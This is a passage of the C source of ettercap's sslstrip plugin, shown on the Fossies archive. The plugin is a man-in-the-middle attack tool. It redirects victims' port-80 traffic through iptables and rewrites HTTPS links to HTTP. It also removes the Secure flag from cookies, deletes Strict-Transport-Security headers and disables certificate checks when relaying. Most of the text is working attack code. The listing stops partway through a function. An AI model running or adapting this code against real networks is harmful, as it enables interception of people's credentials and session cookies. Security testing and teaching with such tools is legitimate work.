"Fossies" - the Fresh Open Source Software Archive 
Member "ettercap-0.8.3.1/plug-ins/sslstrip/sslstrip.c" (1 Aug 2020, 41140 Bytes) of package /linux/privat/ettercap-0.8.3.1.tar.gz:
As a special service "Fossies" has tried to format the requested source page into HTML format using (guessed) C and C++ source code syntax highlighting (style:
standard) with prefixed line numbers and
code folding option.
Alternatively you can here
view or
download the uninterpreted source code file.
For more information about "sslstrip.c" see the
Fossies "Dox" file reference documentation and the latest
Fossies "Diffs" side-by-side code changes report:
0.8.3_vs_0.8.3.1.
1 /*
2 sslstrip -- ettercap plugin -- SSL Strip per Moxie (http://www.thoughtcrime.org/software/sslstrip/)
3
4 Copyright (C) Ettercap Development Team. 2012.
5
6 This program is free software; you can redistribute it and/or modify
7 it under the terms of the GNU General Public License as published by
8 the Free Software Foundation; either version 2 of the License, or
9 (at your option) any later version.
10
11 This program is distributed in the hope that it will be useful,
12 but WITHOUT ANY WARRANTY; without even the implied warranty of
13 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 GNU General Public License for more details.
15
16 You should have received a copy of the GNU General Public License
17 along with this program; if not, write to the Free Software
18 Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
19
20 */
21
22
23 #include <ec.h>
24 #include <ec_stdint.h>
25 #include <ec_inet.h>
26 #include <ec_plugins.h>
27 #include <ec_hook.h>
28 #include <ec_send.h>
29 #include <ec_socket.h>
30 #include <ec_threads.h>
31 #include <ec_decode.h>
32 #include <ec_utils.h>
33 #include <ec_sleep.h>
34 #include <ec_redirect.h>
35
36 #include <pcre.h>
37
38 #ifndef HAVE_STRNDUP
39 #include <missing/strndup.h>
40 #endif
41
42 #ifdef OS_LINUX
43 #include <linux/netfilter_ipv4.h>
44 #endif
45 #if defined OS_LINUX && defined WITH_IPV6
46 #include <linux/netfilter_ipv6/ip6_tables.h>
47 #endif
48
49
50 #ifdef HAVE_SYS_POLL_H
51 #include <sys/poll.h>
52 #endif
53
54 #include <curl/curl.h>
55
56 #if (LIBCURL_VERSION_MAJOR < 7) || (LIBCURL_VERSION_MINOR < 26)
57 #error libcurl 7.26.0 or up is needed
58 #endif
59
60 /*
61 * This plugin will basically replace all https links sent to the user's browser with http
62 * but keep track of those https links to send a proper HTTPS request to the links when requested.
63 */
64
65
66 #if defined(OS_DARWIN) || defined(OS_BSD)
67 #define SSLSTRIP_SET "21"
68 #endif
69
70 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)://([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
71 //#define URL_PATTERN "(href=|src=|url\\(|action=)?[\"']?(https)(\\%3A|\\%3a|:)//([^ \r\\)/\"'>\\)]*)/?([^ \\)\"'>\\)\r]*)"
72 #define URL_PATTERN "(https://[\\w\\d:#@%/;$()~_?\\+=\\\\.&-]*)"
73 //#define COOKIE_PATTERN "Set-Cookie: (.*?;)(.?Secure;|.?Secure)(.*?)\r\n"
74 #define COOKIE_PATTERN "Set-Cookie: ([ \\w\\d:#@%/;$()~_?\\+=\\\\.&-]+); ?Secure"
75
76
77 #define REQUEST_TIMEOUT 120 /* If a request has not been used in 120 seconds, remove it from list */
78
79 #define HTTP_RETRY 500
80 #define HTTP_WAIT 10 /* milliseconds */
81
82 #define PROTO_HTTP 1
83 #define PROTO_HTTPS 2
84
85 #define HTTP_GET (1<<16)
86 #define HTTP_POST (1<<24)
87
88 #define HTTP_MAX (1024*200) //200KB max for HTTP requests.
89
90 #define BREAK_ON_ERROR(x,y,z) do { \
91 if (x == -E_INVALID ) { \
92 http_wipe_connection(y); \
93 SAFE_FREE(z.DATA.data); \
94 SAFE_FREE(z.DATA.disp_data); \
95 ec_thread_exit(); \
96 } \
97 } while(0)
98
99
100
101 /* lists */
102 struct http_ident {
103 u_int32 magic;
104 #define HTTP_MAGIC 0x0501e77f
105 struct ip_addr L3_src;
106 u_int16 L4_src;
107 u_int16 L4_dst;
108 };
109
110 #define HTTP_IDENT_LEN sizeof(struct http_ident)
111
112 struct https_link {
113 char *url;
114 time_t last_used;
115 LIST_ENTRY (https_link) next;
116 };
117
118 struct http_request {
119 int method;
120 struct curl_slist *headers;
121 char *url;
122 char *payload;
123 };
124
125 struct http_response {
126 char *html;
127 unsigned long int len;
128 };
129
130 struct http_connection {
131 int fd;
132 u_int16 port[2];
133 struct ip_addr ip[2];
134 CURL *handle;
135 struct http_request *request;
136 struct http_response *response;
137 char curl_err_buffer[CURL_ERROR_SIZE];
138 #define HTTP_CLIENT 0
139 #define HTTP_SERVER 1
140 };
141
142 LIST_HEAD(, https_link) https_links;
143 static pthread_mutex_t list_mutex = PTHREAD_MUTEX_INITIALIZER;
144 #define LIST_LOCK do{ pthread_mutex_lock(&list_mutex); } while(0)
145 #define LIST_UNLOCK do{ pthread_mutex_unlock(&list_mutex); } while(0)
146
147 /* globals */
148 static int main_fd, main_fd6;
149 static struct pollfd poll_fd[2];
150 static u_int16 bind_port;
151 static pcre *https_url_pcre;
152 static regex_t find_cookie_re;
153
154 /* protos */
155 int plugin_load(void *);
156 static int sslstrip_init(void *);
157 static int sslstrip_fini(void *);
158 static void sslstrip(struct packet_object *po);
159 static int sslstrip_is_http(struct packet_object *po);
160
161 #ifndef OS_LINUX
162 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po);
163 static int sslstrip_match(void *id_sess, void *id_curr);
164 static size_t http_create_ident(void **i, struct packet_object *po);
165 #endif
166
167 /* http stuff */
168 static void Find_Url(u_char *to_parse, char **ret);
169
170
171 static int http_sync_conn(struct http_connection *connection);
172 static int http_get_peer(struct http_connection *connection);
173 static int http_read(struct http_connection *connection, struct packet_object *po);
174 static int http_write(int fd, char *ptr, unsigned long int total_len);
175 static void http_remove_header(char *header, struct http_connection *connection);
176 static void http_update_content_length(struct http_connection *connection);
177 static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len);
178 static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po);
179 static void http_wipe_connection(struct http_connection *connection);
180 static void http_handle_request(struct http_connection *connection, struct packet_object *po);
181 static void http_send(struct http_connection *connection, struct packet_object *po, int proto);
182 static void http_remove_https(struct http_connection *connection);
183 static void http_remove_secure_from_cookie(struct http_connection *connection);
184 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata);
185 //static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream);
186
187
188
189 /* thread stuff */
190 static int http_bind_wrapper(void);
191 static EC_THREAD_FUNC(http_child_thread);
192 static EC_THREAD_FUNC(http_accept_thread);
193
194 /*
195 * Custom flag used by plugin to mark packets coming
196 * from this plugin
197 */
198
199 #define PO_FROMSSLSTRIP ((u_int16)(1<<13))
200
201 struct plugin_ops sslstrip_ops = {
202 .ettercap_version = EC_VERSION, /* must match global EC_VERSION */
203 .name = "sslstrip",
204 .info = "SSLStrip plugin",
205 .version = "1.2",
206 .init = &sslstrip_init,
207 .fini = &sslstrip_fini,
208 };
209
210 int plugin_load(void *handle)
211 {
212 return plugin_register(handle, &sslstrip_ops);
213 }
214
215 static int sslstrip_init(void *dummy)
216 {
217 const char *error;
218 int erroroffset;
219 int err;
220 char errbuf[100];
221
222 /* variable not used */
223 (void) dummy;
224
225 /*
226 * Add IPTables redirect for port 80
227 */
228 if (http_bind_wrapper() != E_SUCCESS) {
229 USER_MSG("SSLStrip: plugin load failed: Could not set up HTTP redirect\n");
230 return PLUGIN_FINISHED;
231 }
232
233 https_url_pcre = pcre_compile(URL_PATTERN, PCRE_MULTILINE|PCRE_CASELESS, &error, &erroroffset, NULL);
234
235 if (!https_url_pcre) {
236 USER_MSG("SSLStrip: plugin load failed: pcre_compile failed (offset: %d), %s\n", erroroffset, error);
237 ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
238 NULL, 80, bind_port);
239 #ifdef WITH_IPV6
240 ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
241 NULL, 80, bind_port);
242 #endif
243
244 return PLUGIN_FINISHED;
245 }
246
247 err = regcomp(&find_cookie_re, COOKIE_PATTERN, REG_EXTENDED | REG_NEWLINE | REG_ICASE);
248 if (err) {
249 regerror(err, &find_cookie_re, errbuf, sizeof(errbuf));
250 USER_MSG("SSLStrip: plugin load failed: Could not compile find_cookie regex: %s (%d)\n", errbuf, err);
251 pcre_free(https_url_pcre);
252 ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV4,
253 NULL, 80, bind_port);
254 #ifdef WITH_IPV6
255 ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV6,
256 NULL, 80, bind_port);
257 #endif
258
259 return PLUGIN_FINISHED;
260 }
261
262 hook_add(HOOK_HANDLED, &sslstrip);
263
264 /* start HTTP accept thread */
265
266
267 ec_thread_new_detached("http_accept_thread", "HTTP Accept thread", &http_accept_thread, NULL, 1);
268
269 USER_MSG("SSLStrip Plugin version 1.2 is still under experimental mode. Please reports any issues to the development team.\n");
270 return PLUGIN_RUNNING;
271 }
272
273 static int sslstrip_fini(void *dummy)
274 {
275
276 /* variable not used */
277 (void) dummy;
278
279 DEBUG_MSG("SSLStrip: Removing redirect\n");
280 if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4,
281 NULL, 80, bind_port) != E_SUCCESS) {
282 USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
283 "manually.\n");
284 }
285 #ifdef WITH_IPV6
286 if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6,
287 NULL, 80, bind_port) != E_SUCCESS) {
288 USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so "
289 "manually.\n");
290 }
291 #endif
292
293 // Free regexes.
294 if (https_url_pcre)
295 pcre_free(https_url_pcre);
296
297 regfree(&find_cookie_re);
298
299 /* stop accept wrapper */
300 pthread_t pid = ec_thread_getpid("http_accept_thread");
301
302 if (!pthread_equal(pid, ec_thread_getpid(NULL)))
303 ec_thread_destroy(pid);
304
305 /* now destroy all http_child_thread */
306 do {
307 pid = ec_thread_getpid("http_child_thread");
308
309 if(!pthread_equal(pid, ec_thread_getpid(NULL)))
310 ec_thread_destroy(pid);
311
312 } while (!pthread_equal(pid, ec_thread_getpid(NULL)));
313
314 close(main_fd);
315 #ifdef WITH_IPV6
316 close(main_fd6);
317 #endif
318
319 /* Remove hook point */
320 hook_del(HOOK_HANDLED, &sslstrip);
321
322 return PLUGIN_FINISHED;
323 }
324
325 static int sslstrip_is_http(struct packet_object *po)
326 {
327 /* if already coming from SSLStrip or proto is not TCP */
328 if (po->flags & PO_FROMSSLSTRIP || po->L4.proto != NL_TYPE_TCP)
329 return 0;
330
331 if (ntohs(po->L4.dst) == 80 ||
332 ntohs(po->L4.src) == 80)
333 return 1;
334
335 if (strstr((const char*)po->DATA.data, "HTTP/1.1") ||
336 strstr((const char*)po->DATA.data, "HTTP/1.0"))
337 return 1;
338 return 0;
339 }
340
341 #ifndef OS_LINUX
342 static int sslstrip_match(void *id_sess, void *id_curr)
343 {
344 struct http_ident *ids = id_sess;
345 struct http_ident *id = id_curr;
346
347 /* sanity checks */
348 BUG_IF(ids == NULL);
349 BUG_IF(id == NULL);
350
351 /* check magic */
352 if (ids->magic != id->magic)
353 return 0;
354
355 if (ids->L4_src == id->L4_src &&
356 ids->L4_dst == id->L4_dst &&
357 !ip_addr_cmp(&ids->L3_src, &id->L3_src))
358 return 1;
359
360 return 0;
361 }
362
363 static void sslstrip_create_session(struct ec_session **s, struct packet_object *po)
364 {
365 void *ident;
366 DEBUG_MSG("sslstrip_create_session");
367
368 /* allocate the session */
369 SAFE_CALLOC(*s, 1, sizeof(struct ec_session));
370
371 /* create the ident */
372 (*s)->ident_len = http_create_ident(&ident, po);
373
374 /* link to the session */
375 (*s)->ident = ident;
376
377 /* the matching function */
378 (*s)->match = sslstrip_match;
379
380 /* alloc of data elements */
381 SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr));
382 }
383 #endif
384
385 /*
386 * Filter HTTP related packets and create NAT sessions
387 */
388 static void sslstrip(struct packet_object *po)
389 {
390
391 if (!sslstrip_is_http(po))
392 return;
393
394 /* If it's an HTTP packet, don't forward it */
395 po->flags |= PO_DROPPED;
396
397
398 if ( (po->flags & PO_FORWARDABLE) &&
399 (po->L4.flags & TH_SYN) &&
400 !(po->L4.flags & TH_ACK) ) {
401 #ifndef OS_LINUX
402 struct ec_session *s = NULL;
403 sslstrip_create_session(&s, PACKET);
404 memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr));
405 session_put(s);
406
407 #endif
408 } else {
409 po->flags |= PO_IGNORE;
410 }
411
412 }
413
414 /* Unescape the string */
415 static void Decode_Url(u_char *src)
416 {
417 u_char t[3];
418 u_int32 i, j, ch;
419
420 /* Paranoid test */
421 if (!src)
422 return;
423
424 /* NULL terminate for the strtoul */
425 t[2] = 0;
426
427 for (i=0, j=0; src[i] != 0; i++, j++) {
428 ch = (u_int32)src[i];
429 if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) {
430 memcpy(t, src+i+1, 2);
431 ch = strtoul((char *)t, NULL, 16);
432 i += 2;
433 }
434 src[j] = (u_char)ch;
435 }
436 src[j] = 0;
437 }
438
439 /* Gets the URL from the request */
440 static void Find_Url(u_char *to_parse, char **ret)
441 {
442 u_char *fromhere, *page=NULL, *host=NULL;
443 u_int32 len;
444 char *tok;
445
446 if (!strncmp((char *)to_parse, "GET ", 4))
447 to_parse += strlen("GET ");
448 else if (!strncmp((char *)to_parse, "POST ", 5))
449 to_parse += strlen("POST ");
450 else
451 return;
452
453 /* Get the page from the request */
454 page = (u_char *)strdup((char *)to_parse);
455 if(page == NULL)
456 {
457 USER_MSG("SSLStrip: Find_Url: page is NULL\n");
458 return;
459 }
460
461 ec_strtok((char *)page, " HTTP", &tok);
462
463 /* If the path is relative, search for the Host */
464 if ((*page=='/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) {
465 host = (u_char *)strdup( (char *)fromhere + strlen("Host: ") );
466 if(host == NULL)
467 {
468 USER_MSG("SSLStrip: Find_Url: host is NULL\n");
469 return;
470 }
471 ec_strtok((char *)host, "\r", &tok);
472 } else {
473 host = (u_char*)strdup("");
474 if(host == NULL)
475 {
476 USER_MSG("SSLStrip: Find_Url: relative path, but host is NULL\n");
477 return;
478 }
479 }
480
481 len = strlen((char *)page) + strlen((char *)host) + 2;
482 SAFE_CALLOC(*ret, len, sizeof(char));
483 snprintf(*ret, len, "%s%s", host, page);
484
485 SAFE_FREE(page);
486 SAFE_FREE(host);
487
488 Decode_Url((u_char *)*ret);
489 }
490
491
492 static EC_THREAD_FUNC(http_accept_thread)
493 {
494 struct http_connection *connection;
495 struct sockaddr_storage client_ss;
496 u_int len = sizeof(client_ss);
497 int optval = 1, fd = 0, nfds = 1;
498 socklen_t optlen = sizeof(optval);
499 struct sockaddr *sa;
500 struct sockaddr_in *sa4;
501 #ifdef WITH_IPV6
502 struct sockaddr_in6 *sa6;
503 #endif
504
505
506 /* variable not used */
507 (void) EC_THREAD_PARAM;
508
509 ec_thread_init();
510
511 DEBUG_MSG("SSLStrip: http_accept_thread initialized and ready");
512
513 poll_fd[0].fd = main_fd;
514 poll_fd[0].events = POLLIN;
515 #ifdef WITH_IPV6
516 poll_fd[1].fd = main_fd6;
517 poll_fd[1].events = POLLIN;
518 nfds++;
519 #endif
520
521 LOOP {
522
523 /* wait until one file descriptor becomes active */
524 poll(poll_fd, nfds, -1);
525
526 /* check which file descriptor became active */
527 if (poll_fd[0].revents & POLLIN)
528 fd = poll_fd[0].fd;
529 #ifdef WITH_IPV6
530 else if (poll_fd[1].revents & POLLIN)
531 fd = poll_fd[1].fd;
532 #endif
533 else
534 continue;
535
536 /* accept incoming connection */
537 SAFE_CALLOC(connection, 1, sizeof(struct http_connection));
538 BUG_IF(connection==NULL);
539
540 SAFE_CALLOC(connection->request, 1, sizeof(struct http_request));
541 BUG_IF(connection->request==NULL);
542
543 SAFE_CALLOC(connection->response, 1, sizeof(struct http_response));
544 BUG_IF(connection->response==NULL);
545
546 connection->fd = accept(fd, (struct sockaddr *)&client_ss, &len);
547
548 DEBUG_MSG("SSLStrip: Received connection: %p %p\n", connection, connection->request);
549 if (connection->fd == -1) {
550 DEBUG_MSG("SSLStrip: Failed to accept connection: %s.", strerror(errno));
551 SAFE_FREE(connection->request);
552 SAFE_FREE(connection->response);
553 SAFE_FREE(connection);
554 continue;
555 }
556
557 sa = (struct sockaddr *)&client_ss;
558 switch (sa->sa_family) {
559 case AF_INET:
560 sa4 = (struct sockaddr_in *)&client_ss;
561 ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
562 connection->port[HTTP_CLIENT] = sa4->sin_port;
563 break;
564 #ifdef WITH_IPV6
565 case AF_INET6:
566 sa6 = (struct sockaddr_in6 *)&client_ss;
567 ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
568 connection->port[HTTP_CLIENT] = sa6->sin6_port;
569 break;
570 #endif
571 }
572
573 connection->port[HTTP_SERVER] = htons(80);
574 //connection->request->len = 0;
575
576 /* set SO_KEEPALIVE */
577 if (setsockopt(connection->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) {
578 DEBUG_MSG("SSLStrip: Could not set up SO_KEEPALIVE");
579 }
580 /* create detached thread */
581 ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1);
582 }
583
584 return NULL;
585 }
586
587 static int http_get_peer(struct http_connection *connection)
588 {
589
590 #ifndef OS_LINUX
591 struct ec_session *s = NULL;
592 struct packet_object po;
593 void *ident= NULL;
594 int i;
595
596 memcpy(&po.L3.src, &connection->ip[HTTP_CLIENT], sizeof(struct ip_addr));
597 po.L4.src = connection->port[HTTP_CLIENT];
598 po.L4.dst = connection->port[HTTP_SERVER];
599
600 http_create_ident(&ident, &po);
601
602 /* Wait for sniffing thread */
603 for (i=0; i<HTTP_RETRY && session_get_and_del(&s, ident, HTTP_IDENT_LEN)!=E_SUCCESS; i++)
604 ec_usleep(MILLI2MICRO(HTTP_WAIT));
605
606 if (i==HTTP_RETRY) {
607 SAFE_FREE(ident);
608 return -E_INVALID;
609 }
610
611 memcpy(&connection->ip[HTTP_SERVER], s->data, sizeof(struct ip_addr));
612
613 SAFE_FREE(s->data);
614 SAFE_FREE(s);
615 SAFE_FREE(ident);
616 #else
617 struct sockaddr_storage ss;
618 struct sockaddr_in *sa4;
619 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
620 struct sockaddr_in6 *sa6;
621 #endif
622 socklen_t ss_len = sizeof(struct sockaddr_storage);
623 switch (ntohs(connection->ip[HTTP_CLIENT].addr_type)) {
624 case AF_INET:
625 if (getsockopt (connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
626 WARN_MSG("getsockopt failed: %s", strerror(errno));
627 return -E_INVALID;
628 }
629 sa4 = (struct sockaddr_in *)&ss;
630 ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr));
631 break;
632 #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST
633 case AF_INET6:
634 if (getsockopt (connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) {
635 WARN_MSG("getsockopt failed: %s", strerror(errno));
636 return -E_INVALID;
637 }
638 sa6 = (struct sockaddr_in6 *)&ss;
639 ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr));
640 break;
641 #endif
642 }
643
644 #endif
645
646 return E_SUCCESS;
647
648 }
649
650
651 #ifndef OS_LINUX
652 static size_t http_create_ident(void **i, struct packet_object *po)
653 {
654 struct http_ident *ident;
655
656 SAFE_CALLOC(ident, 1, sizeof(struct http_ident));
657
658 ident->magic = HTTP_MAGIC;
659
660 memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr));
661 ident->L4_src = po->L4.src;
662 ident->L4_dst = po->L4.dst;
663
664 /* return the ident */
665 *i = ident;
666 return sizeof(struct http_ident);
667 }
668 #endif
669
670 static int http_sync_conn(struct http_connection *connection)
671 {
672 if (http_get_peer(connection) != E_SUCCESS)
673 return -E_INVALID;
674
675
676 set_blocking(connection->fd, 0);
677 return E_SUCCESS;
678 }
679
680 static int http_read(struct http_connection *connection, struct packet_object *po)
681 {
682 int len = 0, ret = -E_INVALID;
683 int loops = HTTP_RETRY;
684
685 do {
686 len = read(connection->fd, po->DATA.data, HTTP_MAX);
687
688
689 if(len <= 0) {
690 /* in non-blocking mode we have to evaluate the socket error */
691 int err = 0;
692 err = GET_SOCK_ERRNO();
693
694 if (err == EINTR || err == EAGAIN) {
695 /* data not yet arrived, wait a bit and keep trying */
696 ec_usleep(MILLI2MICRO(HTTP_WAIT));
697 }
698 else
699 /* something went wrong */
700 break;
701 }
702 else {
703 /* we got data - break up */
704 ret = E_SUCCESS;
705 break;
706 }
707 } while (--loops > 0);
708
709 po->DATA.len = len;
710
711 /* either we got data or something went wrong or timed out */
712 return ret;
713 }
714
715 static void http_handle_request(struct http_connection *connection, struct packet_object *po)
716 {
717 struct https_link *link;
718
719 SAFE_CALLOC(connection->request->url, 1, 512);
720
721 if (connection->request->url==NULL)
722 return;
723
724 Find_Url(po->DATA.data, &connection->request->url);
725
726 if (connection->request->url == NULL) {
727 return;
728 }
729
730
731 //parse HTTP request
732 if (!memcmp(po->DATA.data, "GET", 3)) {
733 connection->request->method = HTTP_GET;
734 } else if (!memcmp(po->DATA.data, "POST", 4)) {
735 connection->request->method = HTTP_POST;
736 }
737
738 char *r = (char*)po->DATA.data;
739
740 //Skip the first line of request
741 if ((r = strstr((const char*)po->DATA.data, "\r\n")) == NULL)
742 return; // This doesn't seem to look as a HTTP header
743
744 r += 2; //Skip \r\n
745
746 char *h = strdup(r);
747 char *body = strdup(r);
748 BUG_IF(h==NULL);
749 BUG_IF(body==NULL);
750
751 char *end_header = strstr(h, "\r\n\r\n");
752
753 if (!end_header)
754 {
755 SAFE_FREE(h);
756 SAFE_FREE(body);
757 return; //Something went really wrong here
758 }
759 *end_header = '\0';
760
761 char *header;
762 char *saveptr;
763 header = ec_strtok(h, "\r\n", &saveptr);
764
765 while(header) {
766 connection->request->headers = curl_slist_append(connection->request->headers, header);
767 header = ec_strtok(NULL, "\r\n", &saveptr);
768 }
769
770 SAFE_FREE(h);
771
772 char *b = strstr(body, "\r\n\r\n");
773
774 if (b != NULL) {
775 b += 4;
776 connection->request->payload = strdup(b);
777 BUG_IF(connection->request->payload == NULL);
778 }
779
780 SAFE_FREE(body);
781
782
783 int proto = PROTO_HTTP;
784
785 LIST_LOCK;
786 LIST_FOREACH(link, &https_links, next) {
787 if (!strcmp(link->url, connection->request->url)) {
788 proto = PROTO_HTTPS;
789 break;
790 }
791 }
792
793 LIST_UNLOCK;
794
795
796 switch(proto) {
797 case PROTO_HTTP:
798 DEBUG_MSG("SSLStrip: Sending HTTP request");
799 break;
800 case PROTO_HTTPS:
801 DEBUG_MSG("SSLStrip: Sending HTTPs request");
802 break;
803 }
804
805 http_send(connection,po, proto);
806 }
807
808 static void http_send(struct http_connection *connection, struct packet_object *po, int proto)
809 {
810
811 curl_global_init(CURL_GLOBAL_ALL);
812 connection->handle = curl_easy_init();
813
814 if(!connection->handle) {
815 DEBUG_MSG("SSLStrip: Not enough memory to allocate CURL handle");
816 return;
817 }
818
819 char *url;
820
821 //Allow decoders to run for request
822 if (proto == PROTO_HTTPS) {
823 curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYPEER, 0L);
824 curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYHOST, 0L);
825
826 SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("https://")+1);
827 snprintf(url, strlen(connection->request->url)+strlen("https://")+1, "https://%s", connection->request->url);
828 } else {
829 SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("http://")+1);
830 snprintf(url, strlen(connection->request->url)+strlen("http://")+1, "http://%s", connection->request->url);
831 }
832
833
834 if (url==NULL) {
835 DEBUG_MSG("Not enough memory to allocate for URL %s\n", connection->request->url);
836 return;
837 }
838
839
840 curl_easy_setopt(connection->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
841 curl_easy_setopt(connection->handle, CURLOPT_URL, url);
842 curl_easy_setopt(connection->handle, CURLOPT_WRITEFUNCTION, http_receive_from_server);
843 curl_easy_setopt(connection->handle, CURLOPT_WRITEDATA, connection);
844 curl_easy_setopt(connection->handle, CURLOPT_ERRORBUFFER, connection->curl_err_buffer);
845 curl_easy_setopt(connection->handle, CURLOPT_HEADER, 1L);
846 curl_easy_setopt(connection->handle, CURLOPT_HTTPHEADER, connection->request->headers);
847 curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "gzip");
848 curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "deflate");
849 curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); //Initialize cookie engine
850
851 /* Only allow HTTP and HTTPS */
852 curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long) CURLPROTO_HTTP |
853 (long)CURLPROTO_HTTPS);
854 curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long) CURLPROTO_HTTP |
855 (long) CURLPROTO_HTTPS);
856
857
858 if(connection->request->method == HTTP_POST) {
859 curl_easy_setopt(connection->handle, CURLOPT_POST, 1L);
860 curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDS, connection->request->payload);
861 curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDSIZE, strlen(connection->request->payload));
862 }
863
864
865 if(curl_easy_perform(connection->handle) != CURLE_OK) {
866 DEBUG_MSG("Unable to send request to HTTP server: %s\n", connection->curl_err_buffer);
867 return;
868 } else {
869 DEBUG_MSG("SSLStrip: Sent request to server");
870 }
871
872 DEBUG_MSG("Before removing https: %s", connection->response->html);
873 DEBUG_MSG("SSLStrip: Removing HTTPS");
874 http_remove_https(connection);
875 http_remove_secure_from_cookie(connection);
876
877 if(strstr(connection->response->html, "\r\nContent-Encoding:") ||
878 strstr(connection->response->html, "\r\nTransfer-Encoding:")) {
879 http_remove_header("Content-Encoding", connection);
880 http_remove_header("Transfer-Encoding", connection);
881 }
882
883
884 if(strstr(connection->response->html, "\r\nStrict-Transport-Security:")) {
885 http_remove_header("Strict-Transport-Security", connection);
886 }
887
888 /* adjust content length header value */
889 http_update_content_length(connection);
890
891 DEBUG_MSG("SSLStrip: after removing all %s", connection->response->html);
892 //Send result back to client
893 DEBUG_MSG("SSLStrip: Sending response back to client");
894 if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS){
895 DEBUG_MSG("Unable to send HTTP response back to client\n");
896 } else {
897 DEBUG_MSG("Sent HTTP response back to client");
898 }
899
900
901 //Allow decoders to run on HTTP response
902 http_initialize_po(po, (u_char*)connection->response->html, connection->response->len);
903 packet_destroy_object(po);
904 po->len = po->DATA.len;
905 po->L4.flags |= TH_PSH;
906 packet_disp_data(po, po->DATA.data, po->DATA.len);
907
908 DEBUG_MSG("SSLStrip: Calling parser for response");
909 http_parse_packet(connection, HTTP_SERVER, po);
910
911 //Free up request
912 if (connection->request->headers) {
913 curl_slist_free_all(connection->request->headers);
914 connection->request->headers = NULL;
915 }
916
917
918 if (connection->request->method == HTTP_POST) {
919 SAFE_FREE(connection->request->payload);
920 }
921
922 SAFE_FREE(connection->request->url);
923
924 SAFE_FREE(url);
925
926 if(connection->handle) {
927 curl_easy_cleanup(connection->handle);
928 curl_global_cleanup();
929 connection->handle = NULL;
930 }
931
932 DEBUG_MSG("SSLStrip: Done");
933 }
934
935 static int http_write(int fd, char *ptr, unsigned long int total_len)
936 {
937 int len, err;
938 unsigned int bytes_sent = 0;
939 int bytes_remaining = total_len;
940
941 DEBUG_MSG("SSLStrip: Total length %lu", total_len);
942
943 while (bytes_sent < total_len) {
944
945 if(!ptr)
946 break;
947 len = write(fd, ptr+bytes_sent, bytes_remaining);
948
949 if (len <= 0) {
950 err = GET_SOCK_ERRNO();
951 DEBUG_MSG("http_write: SOCK ERR: %d", err);
952 if (err != EAGAIN && err != EINTR)
953 return -E_INVALID;
954 }
955
956 DEBUG_MSG("SSLStrip: Sent %d bytes", len);
957
958 bytes_sent += len;
959 bytes_remaining -= len;
960
961 DEBUG_MSG("SSLStrip: Bytes sent %d", bytes_sent);
962 ec_usleep(MILLI2MICRO(100)); // 100ms
963
964
965 }
966
967 return E_SUCCESS;
968 }
969
970 #if 0
971 static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream)
972 {
973 struct packet_object *po = (struct packet_object *)stream;
974
975 DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size*nmemb));
976 DEBUG_MSG("SSLStrip: Copying %s", po->DATA.data);
977 if ((size*nmemb) < po->DATA.len) {
978 memcpy(ptr, po->DATA.data, size*nmemb);
979 return size*nmemb;
980 } else {
981 memcpy(ptr, po->DATA.data, po->DATA.len);
982 return po->DATA.len;
983 }
984 }
985 #endif
986
987
988 static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata)
989 {
990 struct http_connection *connection = (struct http_connection *)userdata;
991
992
993 if (connection->response->len == 0) {
